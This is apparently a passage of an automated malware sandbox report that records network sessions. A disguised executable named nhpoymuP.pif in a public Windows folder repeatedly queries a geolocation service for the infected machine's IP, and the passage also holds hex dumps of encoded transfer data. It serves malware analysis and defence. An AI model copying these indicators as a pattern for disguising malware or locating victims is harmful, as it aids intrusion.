                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 67 4f 2b 2b 52 66 34 5a 38 75 54 46 58 41 33 4e 63 54 6e 58 48 4a 4f 78 43 59 65 66 68 63 72 71 73 31 76 38 73 31 6e 35 63 37 4f 4f 33 48 6a 54 47 48 55 4c 52 4a 6f 47 4e 58 64 34 7a 34 42 64 72 7a 4d 54 58 75 64 30 6a 56 6e 4a 47 74 70 67 41 49 78 51 49 36 51 76 33 4e 69 49 72 43 38 4d 66 30 35 6b 77 6a 33 32 78 56 58 63 64 6d 30 76 59 6b 6c 59 43 44 62 68 71 63 2b 63 59 6a 49 61 76 33 78 54 6d 64 74 31 55 65 6b 6d 71 37 7a 43 41 2b 50 6b 6c 51 46 62 4a 5a 53 4c 5a 70 6e 68 78 34 77 54 4f 5a 62 6a 6c 52 4f 4d 51 6e 41 6f 4d 4a 35 7a 4b 70 4c 66 56 31 64 2b 72 62 6c 34 4f 43 65 70 6b 66 41 33 30 37 54 78 6e 2b 32 75 2f 5a 67 2b 75 4d 79 43 64 32 50 67 70 44 62 70 55 69 2f 6c 4f 74 55 4d 58 65 43 4a 44 74 41 6c 52 2f 5a 4b 44 66 4b 4d 32 68 4a 42 79 5a 58
                                                                                                                                                                    Data Ascii: gO++Rf4Z8uTFXA3NcTnXHJOxCYefhcrqs1v8s1n5c7OO3HjTGHULRJoGNXd4z4BdrzMTXud0jVnJGtpgAIxQI6Qv3NiIrC8Mf05kwj32xVXcdm0vYklYCDbhqc+cYjIav3xTmdt1Uekmq7zCA+PklQFbJZSLZpnhx4wTOZbjlROMQnAoMJ5zKpLfV1d+rbl4OCepkfA307Txn+2u/Zg+uMyCd2PgpDbpUi/lOtUMXeCJDtAlR/ZKDfKM2hJByZX
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 55 65 6e 70 59 67 4e 77 2f 64 45 6c 39 55 62 4e 31 4c 78 56 35 6c 72 77 2b 31 53 55 71 37 6d 69 78 6c 48 58 34 78 31 64 69 7a 70 4d 73 52 65 6c 6d 55 2b 35 5a 34 6e 76 41 6e 39 65 32 68 77 45 6e 50 55 51 32 76 75 35 6f 75 48 43 78 67 41 37 65 63 62 6a 66 34 36 37 44 66 46 37 78 6a 63 72 58 36 48 49 6e 4d 79 33 71 4f 52 70 57 2f 48 43 61 67 45 71 44 74 4b 7a 4a 31 58 6a 56 78 4f 78 66 54 6d 67 79 61 6d 41 34 45 57 72 56 71 73 67 32 4b 36 5a 73 46 69 50 41 47 65 7a 73 48 6d 55 58 50 6b 50 45 37 47 2f 5a 4b 6f 4f 4c 59 34 77 6a 73 33 51 4d 35 56 69 4a 71 43 76 51 72 52 30 48 42 4f 4e 37 7a 79 75 5a 56 35 34 33 46 46 37 46 65 7a 47 52 41 6b 58 55 44 31 72 67 44 31 57 36 57 64 44 43 55 44 41 57 2b 56 43 50 55 2b 77 63 73 36 55 4f 47 71 37 4d 6f 68 6c 5a 50 49
                                                                                                                                                                    Data Ascii: UenpYgNw/dEl9UbN1LxV5lrw+1SUq7mixlHX4x1dizpMsRelmU+5Z4nvAn9e2hwEnPUQ2vu5ouHCxgA7ecbjf467DfF7xjcrX6HInMy3qORpW/HCagEqDtKzJ1XjVxOxfTmgyamA4EWrVqsg2K6ZsFiPAGezsHmUXPkPE7G/ZKoOLY4wjs3QM5ViJqCvQrR0HBON7zyuZV543FF7FezGRAkXUD1rgD1W6WdDCUDAW+VCPU+wcs6UOGq7MohlZPI
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 48 75 51 63 32 6d 71 72 44 4d 30 45 57 63 66 35 33 78 4c 51 6f 70 4e 6c 55 41 4b 77 33 45 31 56 6f 44 4b 51 58 4e 34 4e 4a 4c 67 46 58 4b 64 36 6c 39 6b 69 42 51 37 37 69 4a 52 66 35 47 45 62 37 55 59 75 74 78 33 67 4f 6c 38 5a 43 65 67 42 66 35 64 42 48 65 58 37 30 73 37 37 76 48 74 79 33 64 41 34 67 32 59 4f 79 54 75 44 74 45 33 76 48 46 31 67 79 58 58 74 78 53 44 55 63 42 6e 33 79 41 38 74 62 69 41 4a 32 6c 45 75 47 30 42 38 72 69 31 2f 4f 63 32 61 2f 6b 57 6b 76 71 70 2b 2f 31 54 43 53 30 79 36 38 4b 69 4a 42 74 41 79 78 4f 44 4a 7a 42 52 42 55 4c 77 4b 33 6b 70 4d 6a 2f 31 61 2f 4b 52 32 58 5a 45 65 79 68 6e 79 34 32 4a 32 43 72 43 78 66 6a 57 51 30 78 31 56 4b 57 58 53 53 6a 41 4f 54 79 58 57 44 63 46 47 64 47 4f 31 37 54 79 7a 75 49 69 52 79 56 50
                                                                                                                                                                    Data Ascii: HuQc2mqrDM0EWcf53xLQopNlUAKw3E1VoDKQXN4NJLgFXKd6l9kiBQ77iJRf5GEb7UYutx3gOl8ZCegBf5dBHeX70s77vHty3dA4g2YOyTuDtE3vHF1gyXXtxSDUcBn3yA8tbiAJ2lEuG0B8ri1/Oc2a/kWkvqp+/1TCS0y68KiJBtAyxODJzBRBULwK3kpMj/1a/KR2XZEeyhny42J2CrCxfjWQ0x1VKWXSSjAOTyXWDcFGdGO17TyzuIiRyVP
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 61 41 32 6c 5a 41 4b 2b 71 45 56 32 53 36 6b 61 49 49 6f 7a 4b 6b 6f 44 65 31 4b 65 43 4c 43 77 50 36 6f 63 2b 58 75 4b 4d 69 48 4c 4b 2f 39 5a 34 58 72 53 68 49 62 4e 57 78 66 33 2b 58 6f 71 36 7a 36 37 66 66 4e 6e 35 37 30 55 45 64 38 79 61 61 4c 58 79 52 55 6e 50 55 58 6f 41 55 71 41 48 39 33 74 37 4d 72 50 68 4c 6c 61 44 64 48 38 4f 6e 72 7a 73 46 47 43 43 34 7a 6d 6f 34 70 62 35 4c 56 4b 44 33 2f 51 46 2b 35 78 77 51 77 66 52 4a 6a 76 52 48 34 56 58 4e 50 67 67 4c 6a 38 35 51 37 6a 4e 53 64 78 4b 30 49 43 41 51 6e 69 4b 4b 75 6b 39 59 4c 48 5a 57 2b 6a 76 43 39 69 34 6d 45 30 72 77 30 69 56 61 4d 49 77 76 56 6c 38 34 68 56 66 38 46 4f 79 52 4c 76 50 7a 6b 6f 73 6d 53 43 6a 31 6b 5a 32 72 53 4e 2f 71 63 37 47 65 56 49 7a 56 70 76 70 6e 69 31 4f 64 42
                                                                                                                                                                    Data Ascii: aA2lZAK+qEV2S6kaIIozKkoDe1KeCLCwP6oc+XuKMiHLK/9Z4XrShIbNWxf3+Xoq6z67ffNn570UEd8yaaLXyRUnPUXoAUqAH93t7MrPhLlaDdH8OnrzsFGCC4zmo4pb5LVKD3/QF+5xwQwfRJjvRH4VXNPggLj85Q7jNSdxK0ICAQniKKuk9YLHZW+jvC9i4mE0rw0iVaMIwvVl84hVf8FOyRLvPzkosmSCj1kZ2rSN/qc7GeVIzVpvpni1OdB


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    1192.168.2.449741188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:29 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:29 UTC857INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:29 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145118
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Fs1W0ndu138tOU0%2BlBU8cWYTHt7GLT%2Fk2kvY8dpBKKclbUfxWateyRKnuI8fTovntTDUUDyOeBFa%2Bgwb5oTcPbvNKwOrSi9Ubc96e4A7lOSgF%2FHdSUzNrqtLfkeBCgTyzwPIIjZ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5c72d84439f-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1719&min_rtt=1708&rtt_var=663&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1622222&cwnd=241&unsent_bytes=0&cid=651b6c03702810ec&ts=192&x=0"
                                                                                                                                                                    2025-01-02 15:05:29 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    2192.168.2.449742188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:31 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    2025-01-02 15:05:31 UTC855INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:31 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145120
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CkzBfNQ7ICkyfHWaZhwWJzXAL1rtNkzaJ3jsE1U4GIhC%2FA3iuOr7wKUTFYxYAg78Y0d1GCqh9dFi%2FgWuv0hG%2FAVyU7WuQdQyll9JGSwezxYziRnuSgXDTHRIxlb4W2ZBbjWvytOD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5d45a65c351-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1688&rtt_var=638&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1707602&cwnd=184&unsent_bytes=0&cid=8c9b9aa428f68c53&ts=154&x=0"
                                                                                                                                                                    2025-01-02 15:05:31 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    3192.168.2.449744188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:32 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:32 UTC861INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:32 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145121
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qhMHK9ZYchrQH2%2BBPQ1Ed0UhGe8tCXMitA5S%2B5oZA7bVKsINu%2Frh1c%2BnNHNB4nIeNmBcYDHBdxo%2FylAy%2FegMcXu1OeAqM5sAgfqlqtkyeNEC1ZkdFMe5LQzGva3Kg5RSGuZ0fQX3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5db7f85c3eb-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1571&rtt_var=594&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1858688&cwnd=240&unsent_bytes=0&cid=86dfa8f492ca58d1&ts=173&x=0"
                                                                                                                                                                    2025-01-02 15:05:32 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    4192.168.2.449745188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:33 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:33 UTC849INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:33 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145123
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X6mT23UK1Tpfmky0BnGE5tb17Gsno0jPLZcwHDiI6EeeJ7gKZvSG9EQLPsf3KObpzdUSThGYIGlSTMvOgjQixribXMPv60qA4z5odTezQ3UMlVhNMXlGRKZyLKrPfqSAayGSJyVO"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5e2be6b440e-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1617&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1655328&cwnd=236&unsent_bytes=0&cid=a2558694827c7deb&ts=174&x=0"
                                                                                                                                                                    2025-01-02 15:05:33 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    5192.168.2.449747188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:36 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    2025-01-02 15:05:37 UTC859INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:37 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145126
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x5SL4ru1Ll6%2BGmeZ3J9D1oyx62MUR06YMKXTEccNxWk%2FWvjQ%2BL1pUzeXKDNQf4OrjqwbLggwFjqPv5qBD91Qh33v0v19LOozBRdKVb9i%2FSePYUU0s2jmmbEfGGaAXfYAY%2FdRItNb"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5f6ce688ce6-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=6323&min_rtt=6323&rtt_var=3161&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4236&recv_bytes=699&delivery_rate=128810&cwnd=162&unsent_bytes=0&cid=2f31754a8cf66de1&ts=184&x=0"
                                                                                                                                                                    2025-01-02 15:05:37 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    6192.168.2.449748188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:37 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    2025-01-02 15:05:37 UTC860INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:37 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145126
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zz4P3ej6hUsDl%2FCmxLeardxq5P4pYh1sVd9U956wuYk0lWVuRYs1GJETtzJ%2Bjmu3L%2F9cY65qAKkQOiSLfIbOBDW4trDuKknwzSdRN9P9jMWotNvlSMl6NjkXooi7Ci%2BF3H8%2BEUCX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba5f988db3354-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=6404&min_rtt=2010&rtt_var=3563&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1452736&cwnd=114&unsent_bytes=0&cid=133888e3f076284f&ts=166&x=0"
                                                                                                                                                                    2025-01-02 15:05:37 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    7192.168.2.449751188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:38 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    2025-01-02 15:05:39 UTC854INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:39 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145128
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RG5V8nmPEzKtbFpRKBSwvK8Ws8PbngkGYdkdfrN9NBgLVnj4Ztw4Yzd%2BwvmP5ir9HF9ZEjCUJ5hmE6JgaIgf78QQKwd3nm6BTjOWH8oplFdednhMoKryLMSIgVPxQjS04hxt6bHF"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba602cdbe0f8c-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=22000&min_rtt=1738&rtt_var=12782&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1680092&cwnd=212&unsent_bytes=0&cid=c4f777e4463ce14b&ts=158&x=0"
